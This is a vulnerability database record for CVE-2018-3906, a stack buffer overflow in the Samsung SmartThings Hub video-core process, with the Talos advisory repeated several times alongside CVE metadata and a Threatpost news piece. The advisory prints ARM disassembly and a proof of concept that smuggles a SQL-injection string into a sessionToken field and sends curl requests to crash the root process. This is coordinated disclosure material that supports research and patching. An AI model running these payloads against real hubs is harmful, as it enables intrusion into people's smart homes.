ID SSV:97446 Type seebug Reporter My Seebug Modified 2018-07-30T00:00:00
Description
Summary
An exploitable stack-based buffer overflow vulnerability exists in the
retrieval of a database field in video-core's HTTP server of Samsung
SmartThings Hub. The video-core process insecurely extracts the
shard.videoHostURL field from its SQLite database, leading to a buffer
overflow on the stack. An attacker can send an HTTP request to trigger
this vulnerability.
Tested Versions
Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow')
Details
Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.
The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.
One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed on the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they're
both in the same subnetwork.
Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.
The remote SmartThings servers have the ability to communicate with the
video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.
We identified a vulnerable function that can be exploited to achieve
code execution on the video-core process, which is running as root.
The hub uses a "videoHostURL" field to handle the livestreams, saved
inside the "shard" table of video-core's SQLite database (found at
"/hub/data/videocore/db/VideoCore.db"). The "videoHostURL" is the base
address, used to build the final link that an end user can use to look
at the camera's stream. In the hub used for our tests, the
"videoHostURL" is normally
"https://vh-na04-useast2.connect.smartthings.com:8300".
Function sub_28E2C is used to retrieve the "videoHostURL" from the
database and save it in a buffer passed as first argument:
If the "videoHostURL" is overridden by the value stored in the
configuration file ([1] and [2]), the "videoHostURL" is copied to the
buffer using strncpy [3] with a maximum length of 0x100 bytes.
Vice-versa, the URL is fetched from the database by using the function
db_find [4]. The query executed is:
SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'
The result is finally copied in the buffer using strcpy [5]. Since
there is no restriction on the length of the copy operation, the buffer
can be overflowed, which allows for overflowing the stack buffer of the
parent function and execute arbitrary code.
This function is reachable in two different ways:
- By the "imageUploader" and "mp4Uploader" threads, which are calling this the vulnerable function every second.
- By sending a PUT request to video-core's HTTP server for the path "/cameras/<camera-id>/streams/<stream-name>"
Moreover, each of the three callers above pass a stack buffer when
calling the vulnerable function, so all of the possible buffer overflows
are stack-based.
Note that while we scored this vulnerability CVSS 7.5 on its own, it
would constitute a CVSS 8.5
(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with
TALOS-2018-0556. This is demonstrated in the proof of concept below.
Exploit Proof of Concept
The following proof of concept shows how to crash the video-core
process:
1- Modify the "shard.videoHostURL" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\"0\\", \\"A\\");--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"
2- Two options:
A- Wait (about one second) for one of the threads to execute the vulnerable function.
B- Send the "streams" request, using curl from inside the hub, but the same request could be sent using a SmartApp.
$ curl -X PUT "http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p" -d '{"oauthToken":"x"}'
Timeline
2018-04-16 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release
{"id": "SSV:97446", "type": "seebug", "bulletinFamily": "exploit", "title": "Samsung SmartThings Hub video-core Database shard.videoHostURL Code Execution Vulnerability(CVE-2018-3906)", "description": "### Summary\r\n\r\nAn exploitable stack-based buffer overflow vulnerability exists in the\r\nretrieval of a database field in `video-core`'s HTTP server of Samsung\r\nSmartThings Hub. The `video-core` process insecurely extracts the\r\nshard.videoHostURL field from its SQLite database, leading to a buffer\r\noverflow on the stack. An attacker can send an HTTP request to trigger\r\nthis vulnerability.\r\n\r\n### Tested Versions\r\n\r\nSamsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17\r\n\r\n### Product URLs\r\n\r\n[https://www.smartthings.com/products/smartthings-hub](https://www.smartthings.com/products/smartthings-hub)\r\n\r\n### CVSSv3 Score\r\n\r\n7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\r\n\r\n### CWE\r\n\r\nCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer\r\nOverflow')\r\n\r\n### Details\r\n\r\nSamsung produces a series of devices aimed at controlling and monitoring\r\na home, such as wall switches, LED bulbs, thermostats and cameras. One\r\nof those is the Samsung SmartThings Hub, a central controller which\r\nallows an end user to use their smartphone to connect to their house\r\nremotely and operate other devices through it. The hub board utilizes\r\nseveral systems on chips. The firmware in question is executed by an\r\ni.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A\r\narchitecture.\r\n\r\nThe firmware is Linux-based, and runs a series of daemons that interface\r\nwith devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth\r\nprotocols. Additionally, the `hubCore` process is responsible for\r\ncommunicating with the remote SmartThings servers via a persistent TLS\r\nconnection. These servers act as a bridge that allows for secure\r\ncommunication between the smartphone application and the hub. End users\r\ncan simply install the SmartThings mobile application on their\r\nsmartphone to control the hub remotely.\r\n\r\nOne of the features of the hub is that it connects to smart cameras,\r\nconfigures them and looks at their livestreams. For testing, we set up\r\nthe Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream\r\ncan be displayed on the smartphone application by connecting either to\r\nthe remote SmartThings servers, or directly to the camera, if they're\r\nboth in the same subnetwork.\r\n\r\nInside the hub, the livestream is handled by the `video-core` process,\r\nwhich uses `ffmpeg` to connect via RTSP to the smart camera in its same\r\nlocal network, and at the same time, provides a streamable link for the\r\nsmartphone application.\r\n\r\nThe remote SmartThings servers have the ability to communicate with the\r\n`video-core` process by sending messages in the persistent TLS\r\nconnection, established by the `hubCore` process. These messages can\r\nencapsulate an HTTP request, which `hubCore` would relay directly to the\r\nHTTP server exposed by `video-core`. The HTTP server listens on port\r\n3000, bound to the localhost address, so a local connection is needed to\r\nperform this request.\r\n\r\nWe identified a vulnerable function that can be exploited to achieve\r\ncode execution on the `video-core` process, which is running as root.\r\n\r\nThe hub uses a \"videoHostURL\" field to handle the livestreams, saved\r\ninside the \"shard\" table of `video-core`'s SQLite database (found at\r\n\"/hub/data/videocore/db/VideoCore.db\"). The \"videoHostURL\" is the base\r\naddress, used to build the final link that an end user can use to look\r\nat the camera's stream. In the hub used for our tests, the\r\n\"videoHostURL\" is normally\r\n\"https://vh-na04-useast2.connect.smartthings.com:8300\".\r\n\r\nFunction `sub_28E2C` is used to retrieve the \"videoHostURL\" from the\r\ndatabase and save it in a buffer passed as first argument:\r\n\r\n .text:00028E2C sub_28E2C\r\n .text:00028E2C\r\n .text:00028E2C src = -0x14\r\n .text:00028E2C\r\n .text:00028E2C 000 MOV R3, #:lower16:dword_E18A0\r\n .text:00028E30 000 STMFD SP!, {R4-R6,LR}\r\n .text:00028E34 010 MOVT R3, #:upper16:dword_E18A0\r\n .text:00028E38 010 MOV R4, #0\r\n .text:00028E3C 010 SUB SP, SP, #8\r\n .text:00028E40 018 MOV R5, R0\r\n .text:00028E44 018 LDR R1, [R3,#(dword_E18B4 - 0xE18A0)] ; [1]\r\n .text:00028E48 018 STR R4, [SP,#0x18+src]\r\n .text:00028E4C 018 CMP R1, R4 ; [2]\r\n .text:00028E50 018 BEQ loc_28E80\r\n .text:00028E54 018 ADD R6, R0, #4\r\n .text:00028E58 018 MOV R2, #0x100\r\n .text:00028E5C 018 MOV R0, R6\r\n .text:00028E60 018 BL strncpy ; [3]\r\n .text:00028E64 018 MOV R0, R6\r\n .text:00028E68 018 STRB R4, [R5,#0x103]\r\n .text:00028E6C 018 BL strlen\r\n .text:00028E70 018 STR R0, [R5]\r\n .text:00028E74 018 MOV R0, R4\r\n .text:00028E78 018 ADD SP, SP, #8\r\n .text:00028E7C 010 LDMFD SP!, {R4-R6,PC}\r\n .text:00028E80\r\n .text:00028E80 loc_28E80\r\n .text:00028E80 018 MOV R1, #:lower16:aShardinmemoryd ; \"shardInMemoryDb\"\r\n .text:00028E84 018 MOV R2, #:lower16:aVideohosturl_0 ; \"videoHostURL\"\r\n .text:00028E88 018 MOVT R1, #:upper16:aShardinmemoryd ; \"shardInMemoryDb\"\r\n .text:00028E8C 018 MOVT R2, #:upper16:aVideohosturl_0 ; \"videoHostURL\"\r\n .text:00028E90 018 MOV R0, #3 ; db_id\r\n .text:00028E94 018 ADD R3, SP, #0x18+src\r\n .text:00028E98 018 BL db_find ; [4]\r\n .text:00028E9C 018 CMP R0, #0\r\n .text:00028EA0 018 BLT loc_28EE4\r\n .text:00028EA4 018 LDR R4, [SP,#0x18+src]\r\n .text:00028EA8 018 ADD R3, R5, #4\r\n .text:00028EAC 018 MOV R0, R3\r\n .text:00028EB0 018 MOV R1, R4\r\n .text:00028EB4 018 BL strcpy ; [5]\r\n ...\r\n\r\nIf the \"videoHostURL\" is overridden by the value stored in the\r\nconfiguration file ([1] and [2]), the \"videoHostURL\" is copied to the\r\nbuffer using `strncpy` [3] with a maximum length of 0x100 bytes.\r\nVice-versa, the URL is fetched from the database by using the function\r\n`db_find` [4]. The query executed is:\r\n\r\n SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'\r\n\r\nThe result is finally copied in the buffer using `strcpy` [5]. Since\r\nthere is no restriction on the length of the copy operation, the buffer\r\ncan be overflowed, which allows for overflowing the stack buffer of the\r\nparent function and execute arbitrary code.\r\n\r\nThis function is reachable in two different ways:\r\n\r\n - By the \"imageUploader\" and \"mp4Uploader\" threads, which are calling this the vulnerable function every second.\r\n - By sending a PUT request to video-core's HTTP server for the path \"/cameras/<camera-id>/streams/<stream-name>\"\r\n\r\nMoreover, each of the three callers above pass a stack buffer when\r\ncalling the vulnerable function, so all of the possible buffer overflows\r\nare stack-based.\r\n\r\nNote that while we scored this vulnerability CVSS 7.5 on its own, it\r\nwould constitute a CVSS 8.5\r\n(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with\r\nTALOS-2018-0556. This is demonstrated in the proof of concept below.\r\n\r\n### Exploit Proof of Concept\r\n\r\nThe following proof of concept shows how to crash the `video-core`\r\nprocess:\r\n\r\n 1- Modify the \"shard.videoHostURL\" value in the database. This is possible, for example, using using TALOS-2018-0556:\r\n $ sInj='\",\"_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\\\\"0\\\\\", \\\\\"A\\\\\");--\":\"'\r\n $ curl -X POST 'http://127.0.0.1:3000/credentials' -d \"{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}\"\r\n\r\n 2- Two options:\r\n A- Wait (about one second) for one of the threads to execute the vulnerable function.\r\n B- Send the \"streams\" request, using curl from inside the hub, but the same request could be sent using a SmartApp.\r\n $ curl -X PUT \"http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p\" -d '{\"oauthToken\":\"x\"}'\r\n\r\n### Timeline\r\n\r\n * 2018-04-16 - Vendor Disclosure\r\n * 2018-05-23 - Discussion with vendor/review of timeline for disclosure\r\n * 2018-07-17 - Vendor patched\r\n * 2018-07-26 - Public Release", "published": "2018-07-30T00:00:00", "modified": "2018-07-30T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.seebug.org/vuldb/ssvid-97446", "reporter": "My Seebug", "references": [], "cvelist": ["CVE-2018-3906"], "lastseen": "2018-07-31T06:08:56", "viewCount": 499, "enchantments": {"score": {"value": 5.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-3906"]}, {"type": "talos", "idList": ["TALOS-2018-0576"]}, {"type": "talosblog", "idList": ["TALOSBLOG:C43B50426AB38F387C3D552DDC02AB1A"]}, {"type": "threatpost", "idList": ["THREATPOST:1BE782AE785E678D4637038BB93E4F82"]}], "rev": 4}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2018-3906"]}, {"type": "talos", "idList": ["TALOS-2018-0556", "TALOS-2018-0576"]}, {"type": "talosblog", "idList": ["TALOSBLOG:C43B50426AB38F387C3D552DDC02AB1A"]}, {"type": "threatpost", "idList": ["THREATPOST:1BE782AE785E678D4637038BB93E4F82"]}]}, "exploitation": null, "vulnersScore": 5.6}, "sourceHref": "", "sourceData": "", "status": "cve,details", "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645299572}}
{"cve": [{"lastseen": "2022-04-19T21:42:35", "description": "An exploitable stack-based buffer overflow vulnerability exists in the retrieval of a database field in video-core's HTTP server of Samsung SmartThings Hub. The video-core process insecurely extracts the shard.videoHostURL field from its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.", "cvss3": {"exploitabilityScore": 1.5, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 8.2, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-09-21T15:29:00", "type": "cve", "title": "CVE-2018-3906", "cwe": ["CWE-787"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-3906"], "modified": "2022-04-19T18:15:00", "cpe": ["cpe:/o:samsung:sth-eth-250_firmware:0.20.17"], "id": "CVE-2018-3906", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-3906", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:samsung:sth-eth-250_firmware:0.20.17:*:*:*:*:*:*:*"]}], "talos": [{"lastseen": "2022-01-26T11:49:28", "description": "### Summary\n\nAn exploitable stack-based buffer overflow vulnerability exists in the retrieval of a database field in `video-core`\u2019s HTTP server of Samsung SmartThings Hub. The `video-core` process insecurely extracts the shard.videoHostURL field from its SQLite database, leading to a buffer overflow on the stack. An attacker can send an HTTP request to trigger this vulnerability.\n\n### Tested Versions\n\nSamsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17\n\n### Product URLs\n\n<https://www.smartthings.com/products/smartthings-hub>\n\n### CVSSv3 Score\n\n7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### CWE\n\nCWE-120: Buffer Copy without Checking Size of Input (\u2018Classic Buffer Overflow\u2019)\n\n### Details\n\nSamsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.\n\nThe firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the `hubCore` process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.\n\nOne of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed on the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they\u2019re both in the same subnetwork.\n\nInside the hub, the livestream is handled by the `video-core` process, which uses `ffmpeg` to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.\n\nThe remote SmartThings servers have the ability to communicate with the `video-core` process by sending messages in the persistent TLS connection, established by the `hubCore` process. These messages can encapsulate an HTTP request, which `hubCore` would relay directly to the HTTP server exposed by `video-core`. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.\n\nWe identified a vulnerable function that can be exploited to achieve code execution on the `video-core` process, which is running as root.\n\nThe hub uses a \u201cvideoHostURL\u201d field to handle the livestreams, saved inside the \u201cshard\u201d table of `video-core`\u2019s SQLite database (found at \u201c/hub/data/videocore/db/VideoCore.db\u201d). The \u201cvideoHostURL\u201d is the base address, used to build the final link that an end user can use to look at the camera\u2019s stream. In the hub used for our tests, the \u201cvideoHostURL\u201d is normally \u201chttps://vh-na04-useast2.connect.smartthings.com:8300\u201d.\n\nFunction `sub_28E2C` is used to retrieve the \u201cvideoHostURL\u201d from the database and save it in a buffer passed as first argument:\n \n \n .text:00028E2C sub_28E2C\n .text:00028E2C\n .text:00028E2C src = -0x14\n .text:00028E2C\n .text:00028E2C 000 MOV R3, #:lower16:dword_E18A0\n .text:00028E30 000 STMFD SP!, {R4-R6,LR}\n .text:00028E34 010 MOVT R3, #:upper16:dword_E18A0\n .text:00028E38 010 MOV R4, #0\n .text:00028E3C 010 SUB SP, SP, #8\n .text:00028E40 018 MOV R5, R0\n .text:00028E44 018 LDR R1, [R3,#(dword_E18B4 - 0xE18A0)] ; [1]\n .text:00028E48 018 STR R4, [SP,#0x18+src]\n .text:00028E4C 018 CMP R1, R4 ; [2]\n .text:00028E50 018 BEQ loc_28E80\n .text:00028E54 018 ADD R6, R0, #4\n .text:00028E58 018 MOV R2, #0x100\n .text:00028E5C 018 MOV R0, R6\n .text:00028E60 018 BL strncpy ; [3]\n .text:00028E64 018 MOV R0, R6\n .text:00028E68 018 STRB R4, [R5,#0x103]\n .text:00028E6C 018 BL strlen\n .text:00028E70 018 STR R0, [R5]\n .text:00028E74 018 MOV R0, R4\n .text:00028E78 018 ADD SP, SP, #8\n .text:00028E7C 010 LDMFD SP!, {R4-R6,PC}\n .text:00028E80\n .text:00028E80 loc_28E80\n .text:00028E80 018 MOV R1, #:lower16:aShardinmemoryd ; \"shardInMemoryDb\"\n .text:00028E84 018 MOV R2, #:lower16:aVideohosturl_0 ; \"videoHostURL\"\n .text:00028E88 018 MOVT R1, #:upper16:aShardinmemoryd ; \"shardInMemoryDb\"\n .text:00028E8C 018 MOVT R2, #:upper16:aVideohosturl_0 ; \"videoHostURL\"\n .text:00028E90 018 MOV R0, #3 ; db_id\n .text:00028E94 018 ADD R3, SP, #0x18+src\n .text:00028E98 018 BL db_find ; [4]\n .text:00028E9C 018 CMP R0, #0\n .text:00028EA0 018 BLT loc_28EE4\n .text:00028EA4 018 LDR R4, [SP,#0x18+src]\n .text:00028EA8 018 ADD R3, R5, #4\n .text:00028EAC 018 MOV R0, R3\n .text:00028EB0 018 MOV R1, R4\n .text:00028EB4 018 BL strcpy ; [5]\n ...\n \n\nIf the \u201cvideoHostURL\u201d is overridden by the value stored in the configuration file ([1] and [2]), the \u201cvideoHostURL\u201d is copied to the buffer using `strncpy` [3] with a maximum length of 0x100 bytes. Vice-versa, the URL is fetched from the database by using the function `db_find` [4]. The query executed is:\n \n \n SELECT videoHostURL FROM shard WHERE _id='shardInMemoryDb'\n \n\nThe result is finally copied in the buffer using `strcpy` [5]. Since there is no restriction on the length of the copy operation, the buffer can be overflowed, which allows for overflowing the stack buffer of the parent function and execute arbitrary code.\n\nThis function is reachable in two different ways:\n \n \n - By the \"imageUploader\" and \"mp4Uploader\" threads, which are calling this the vulnerable function every second.\n - By sending a PUT request to video-core's HTTP server for the path \"/cameras/<camera-id>/streams/<stream-name>\"\n \n\nMoreover, each of the three callers above pass a stack buffer when calling the vulnerable function, so all of the possible buffer overflows are stack-based.\n\nNote that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concept below.\n\n### Exploit Proof of Concept\n\nThe following proof of concept shows how to crash the `video-core` process:\n \n \n 1- Modify the \"shard.videoHostURL\" value in the database. This is possible, for example, using using TALOS-2018-0556:\n $ sInj='\",\"_id=0 where 1=2;update shard set videoHostURL=replace(substr(quote(zeroblob((13000 + 1) / 2)), 3, 13000), \\\\\"0\\\\\", \\\\\"A\\\\\");--\":\"'\n $ curl -X POST 'http://127.0.0.1:3000/credentials' -d \"{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}\"\n \n 2- Two options:\n A- Wait (about one second) for one of the threads to execute the vulnerable function.\n B- Send the \"streams\" request, using curl from inside the hub, but the same request could be sent using a SmartApp.\n $ curl -X PUT \"http://127.0.0.1:3000/cameras/<camera-id>/streams/hls1080p\" -d '{\"oauthToken\":\"x\"}'\n \n\n### Timeline\n\n2018-04-16 - Vendor Disclosure \n2018-05-23 - Discussion with vendor/review of timeline for disclosure \n2018-07-17 - Vendor patched \n2018-07-26 - Public Release\n", "cvss3": {"exploitabilityScore": 1.5, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.2, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-07-26T00:00:00", "type": "talos", "title": "Samsung SmartThings Hub video-core Database shard.videoHostURL Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-3906"], "modified": "2018-07-26T00:00:00", "id": "TALOS-2018-0576", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0576", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2019-05-30T05:51:54", "description": "Researchers found 20 vulnerabilities in Samsung\u2019s SmartThings Hub, allowing attackers to control smart locks, remotely monitor the home via connected cameras and perform other alarming functions.\n\nCisco Talos researchers, [who published a technical breakdown of the vulnerabilities on Thursday](<https://blog.talosintelligence.com/2018/07/samsung-smartthings-vulns.html?m=1>), said each of the flaws are located in Samsung\u2019s centralized controller, a component that connects to an array of IoT devices around the house \u2013 from light bulbs, thermostats, and cameras. SmartThings Hub is one of several DIY home networking devices designed to allow homeowners to remotely manage and monitor digital devices.\n\n\u201cGiven that these devices often gather sensitive information, the discovered vulnerabilities could be leveraged to give an attacker the ability to obtain access to this information, monitor and control devices within the home, or otherwise perform unauthorized activities,\u201d researchers said in a [report](<https://blog.talosintelligence.com/2018/07/samsung-smartthings-vulns.html?m=1>).\n\nSmartThings Hub uses a Linux-based firmware and allows for communications with various IoT devices using various wireless standards Zigbee, Z-Wave and Bluetooth. SmartThings supports a broad spectrum of third-party products- from Philips Hue smart lightbulbs, to Ring video doorbells, as well dozens more smart home products sold under the brands GE, Bose and Lutron.\n\nThe breadth of potentially impacted products means an attacker could hack an array of connected home devices allowing adversaries to disable smart locks, turn off motion detectors, shut down smart plugs, control thermostats or even cause physical damage to appliances.\n\nA Samsung spokesperson told Threatpost patches have been deployed that fix the bugs. \u201cWe are aware of the security vulnerabilities for SmartThings Hub V2 and released a patch for automatic update to address the issue. All active SmartThings Hub V2 devices in the market are updated to date,\u201d Samsung said.\n\nSeparate to Cisco Talos, Samsung released a firmware advisory for Hub V2 devices on [July 9](<https://community.smartthings.com/t/hub-firmware-release-notes-22-13/129936>).\n\nSeveral vendors whose third-party products are supported by SmartThings including Philips Hue, Bose, Lutron and Ring didn\u2019t respond to requests for comment from Threatpost.\n\n## Multiple Attack Chain Scenarios\n\nSuccessful exploitation of vulnerabilities is not trivial. All require an attacker to chain a number of existing vulnerabilities together, according to the report.\n\n\u201cWhen considering the severity of vulnerabilities, it is essential to keep in mind that they might be used as part of a chain, as this would significantly elevate their severity,\u201d researchers said.\n\nThere are three different attack chains that could be exploited by hackers to penetrate home devices, researchers said. The first is a remote code execution (RCE) vulnerability \u2013 the most dangerous of the three because it can be exploited without prior authentication and can be performed remotely.\n\n**Attack One**\n\nThis RCE chain attack impacts the \u201cvideo core\u201d HTTP server of the hub, and allows attackers to inject HTTP requests into this process from a network. The vulnerability (CVE-2018-3911) exists within the communications (via Port 39500) present between the hub and the remote servers it communicates with. The vulnerability is essentially an exploitable HTTP header injection bug that enables attackers to send specially crafted HTTP requests to impacted devices.\n\nResearcher note, these injected requests are only semi-controlled \u2013 so to take full advantage of the attack, a bad actor would also need to exploit bugs (vulnerabilities CVE-2018-3907 to CVE-2018-3909) within the REST request parser of the \u201cvideo core\u201d process, which modifies the path of an HTTP request.\n\nFinally, an attacker could close out the attack chain by leveraging a bug (CVE-2018-3902) that exists in the camera \u201creplace\u201d feature of video-core\u2019s HTTP server. They would send an HTTP request leading to a buffer overflow attack on the stack.\n\n**Attacks Two, Three**\n\nThe other two attack chains require the attacker to gain prior authentication, researchers said. One of these attacks enables remote code execution via a vulnerability (CVE-2018-3879) enabling authorized attackers to execute SQL queries against a database inside the device.\n\nWhen used alone, this flaw only allows attackers to alter the database \u2013 but an array of other memory corruption vulnerabilities (CVE-2018-3880, CVE-2018-3906, CVE-2018-3912 to CVE-2018-3917, and CVE-2018-3919) that exist in SmartThings Hub allow for executing arbitrary code in the network after exploiting the first bug, researchers said.\n\nThe vulnerability CVE-2018-3879 can also be leveraged in the final chain attack, which allows for remote information leakage. This vulnerability can be used to create an empty file anywhere inside the device.\n\nAttackers can then leverage denial of service bug CVE-2018-3926, which exists within the ZigBee firmware update process present within the \u201chubCore\u201d binary used by the SmartThings Hub. Once the empty file is created this bug will cause the \u201chubcore\u201d process to crash, triggering an information leak bug (CVE-2018-3927) that can be captured from the network.\n\n\u201cBy chaining these 3 vulnerabilities in order, an attacker can obtain a memory dump of the `hubCore` process, which contains most of the core logic, and consequent sensitive information, of the Hub,\u201d researchers said.\n\nWhile Samsung\u2019s updates have been pushed out automatically, researchers recommended that users verify the updated version has actually been applied to devices to ensure that they are no longer vulnerable.\n\n\u201cWhile devices such as the SmartThings Hub are typically deployed to provide additional convenience and automation to users, special consideration must be made to ensure that they are configured securely, and updated when new firmware updates are made available by the manufacturer,\u201d they said.\n", "cvss3": {}, "published": "2018-07-26T19:26:16", "type": "threatpost", "title": "Bugs in Samsung IoT Hub Leave Smart Home Open To Attack", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-3879", "CVE-2018-3880", "CVE-2018-3902", "CVE-2018-3906", "CVE-2018-3907", "CVE-2018-3909", "CVE-2018-3911", "CVE-2018-3912", "CVE-2018-3917", "CVE-2018-3919", "CVE-2018-3926", "CVE-2018-3927"], "modified": "2018-07-26T19:26:16", "id": "THREATPOST:1BE782AE785E678D4637038BB93E4F82", "href": "https://threatpost.com/bugs-in-samsung-iot-hub-leave-smart-home-open-to-attack/134454/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "talosblog": [{"lastseen": "2018-07-30T10:53:30", "bulletinFamily": "blog", "cvelist": ["CVE-2018-3856", "CVE-2018-3863", "CVE-2018-3866", "CVE-2018-3867", "CVE-2018-3872", "CVE-2018-3873", "CVE-2018-3878", "CVE-2018-3879", "CVE-2018-3880", "CVE-2018-3893", "CVE-2018-3897", "CVE-2018-3902", "CVE-2018-3903", "CVE-2018-3904", "CVE-2018-3905", "CVE-2018-3906", "CVE-2018-3907", "CVE-2018-3909", "CVE-2018-3911", "CVE-2018-3912", "CVE-2018-3917", "CVE-2018-3918", "CVE-2018-3919", "CVE-2018-3925", "CVE-2018-3926", "CVE-2018-3927"], "description": "_These vulnerabilities were discovered by Claudio Bozzato of Cisco Talos._ \n 